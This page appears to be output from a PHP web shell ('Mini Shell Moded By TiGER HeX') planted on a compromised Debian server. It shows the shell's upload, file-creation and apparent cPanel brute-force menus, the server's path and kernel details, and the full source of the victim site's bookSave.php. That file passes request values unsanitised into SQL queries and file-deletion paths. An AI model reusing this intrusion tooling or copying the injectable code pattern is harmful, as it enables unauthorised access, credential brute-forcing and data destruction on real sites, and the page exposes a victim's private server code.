Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/bookSave.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); $db = new sql_db(); if(!$db->db_connect_id){die("result=0&error=Unable to connect to sql server");} if(!isset($_REQUEST['pageNum'])){die("result=0&error=No data specified");} if(!isset($_REQUEST['userId'])){die("result=0&error=No user id specified");} if(!isset($_REQUEST['image'])){die("result=0&error=No image specified");} $uid = $_REQUEST['userId']; $img = $_REQUEST['image']; $pgnum = $_REQUEST['pageNum']; //first resize large image that was uploaded from shockwave $img_path = TAG_LIMG_PATH.$img; $gd = new gd_img("jpeg",$img_path); if(!$gd->img_id){ die("result=0&error=".$gd->gd_error);} $id = $gd->gd_scale_img(100,65,80); if(!$id){ die("result=0&error=".$gd->gd_error);} $res = $gd->gd_create_img($id,TAG_SIMG_PATH.$img); if(!$res){ die("result=0&error=".$gd->gd_error);} //update the database and unlink old files $sql = "SELECT user_id,tag_image,tag_id FROM 50mm_tags WHERE user_id = '$uid' AND page_num = '$pgnum'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die("result=0&error=".$sql_error['message']); } $row = $db->sql_fetchrow($result); $old_img = $row['tag_image']; $tag_id = $row['tag_id']; if($db->sql_numrows($result)==0){ $sql = "INSERT INTO 50mm_tags (user_id,tag_image,page_num,tag_date) VALUES ('$uid','$img','$pgnum',NOW())"; }else{ //attemp to unlink old file unlink(TAG_SIMG_PATH.$old_img); unlink(TAG_LIMG_PATH.$old_img); $sql = "UPDATE 50mm_tags SET tag_image = '$img', tag_date = NOW() WHERE user_id = '$uid' AND page_num = '$pgnum'"; } if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die("result=0&error=".$sql_error['message']); } //now delete votes because the image has been updated $sql = "DELETE FROM 50mm_tag_votes WHERE tag_id = '$tag_id'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die("result=0&error=".$sql_error['message']); } echo("result=1"); $db->sql_close(); ?>